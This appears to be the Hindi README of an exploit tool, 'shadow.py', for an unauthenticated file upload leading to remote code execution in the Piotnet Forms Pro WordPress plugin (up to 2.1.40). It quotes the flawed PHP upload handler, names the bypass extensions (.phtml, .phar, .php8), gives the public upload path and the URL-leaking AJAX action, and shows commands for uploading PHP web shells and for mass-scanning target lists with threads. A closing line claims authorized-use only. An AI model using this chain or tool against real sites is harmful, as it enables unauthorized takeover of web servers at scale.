
Piotnet Forms Pro <= 2.1.40 - अप्रमाणित मनमाना फ़ाइल अपलोड → RCE
यह भेद्यता piotnetforms_ajax_form_builder फ़ंक्शन में अपर्याप्त फ़ाइल प्रकार सत्यापन के कारण उत्पन्न होती है। प्लगइन एक अपूर्ण एक्सटेंशन ब्लैकलिस्ट का उपयोग करता है जो केवल php, phpt, php5, php7, और exe को अवरुद्ध करता है, जबकि .phtml या .phar जैसी खतरनाक विकल्पों की अनुमति देता है।
AJAX हैंडलर बिना किसी प्रमाणीकरण आवश्यकता के पंजीकृत है:
// inc/forms/ajax-form-builder.php:9-10
add_action( 'wp_ajax_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
add_action( 'wp_ajax_nopriv_piotnetforms_ajax_form_builder', 'piotnetforms_ajax_form_builder' );
फ़ाइल सत्यापन पूरी तरह से एक अपूर्ण एक्सटेंशन ब्लैकलिस्ट पर निर्भर करता है जिसमें MIME प्रकार या मैजिक बाइट्स सत्यापन नहीं है:
// inc/forms/ajax-form-builder.php:678-688
$not_allowed_extensions = [ 'php', 'phpt', 'php5', 'php7', 'exe' ];
$file_extension = pathinfo( $file_name_san, PATHINFO_EXTENSION );
if ( in_array( strtolower( $file_extension ), $not_allowed_extensions ) ) {
wp_die();
}
// .phar, .phtml, .php8, .pht, etc. all pass through freely
move_uploaded_file( $file['tmp_name'][$i], $new_file );
अपलोड निर्देशिका में निर्देशिका सूचीकरण को रोकने के लिए केवल एक खाली index.html होता है — PHP निष्पादन को अवरुद्ध करने के लिए कोई .htaccess नहीं है। अपलोड की गई फ़ाइलें सार्वजनिक रूप से सुलभ होती हैं:
/wp-content/uploads/piotnetforms/files/{filename}-{uniqid}.{ext}
फ़ाइल URL को piotnetforms_export_form_submission AJAX क्रिया (जो nopriv भी है) के माध्यम से असत्यापित रूप से प्राप्त किया जा सकता है, जो पूर्ण असत्यापित RCE श्रृंखला को पूरा करता है।
यह वही कॉपी-पेस्ट बग है जो CVE-2026-4885 में मौजूद है — दोनों प्लगइन एक ही डेवलपर से समान संवेदनशील अपलोड हैंडलिंग कोड साझा करते हैं।
इंटरैक्टिव मोड:
python3 shadow.py
एकल लक्ष्य:
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shadow.phtml
बड़े पैमाने पर स्कैनिंग:
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shadow.phtml
CLI विकल्प:
-u, --url - लक्ष्य URL-f, --file - लक्ष्य फ़ाइल (प्रति पंक्ति एक)-s, --shell - कस्टम PHP शेल (GIF89a स्वतः जोड़ा गया)-t, --threads - समवर्ती थ्रेड (डिफ़ॉल्ट: 5)-h, --help - सहायता प्रदर्शनpiotnetforms_export_form_submission (असत्यापित) के माध्यम से URL लीकेजshell.txt में सहेजे गए.php .phpt .php5 .php7 .exe
बाईपास एक्सटेंशन: .phtml .phar .shtml .php8
pip install httpx
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। अनधिकृत सिस्टम परीक्षण निषिद्ध है।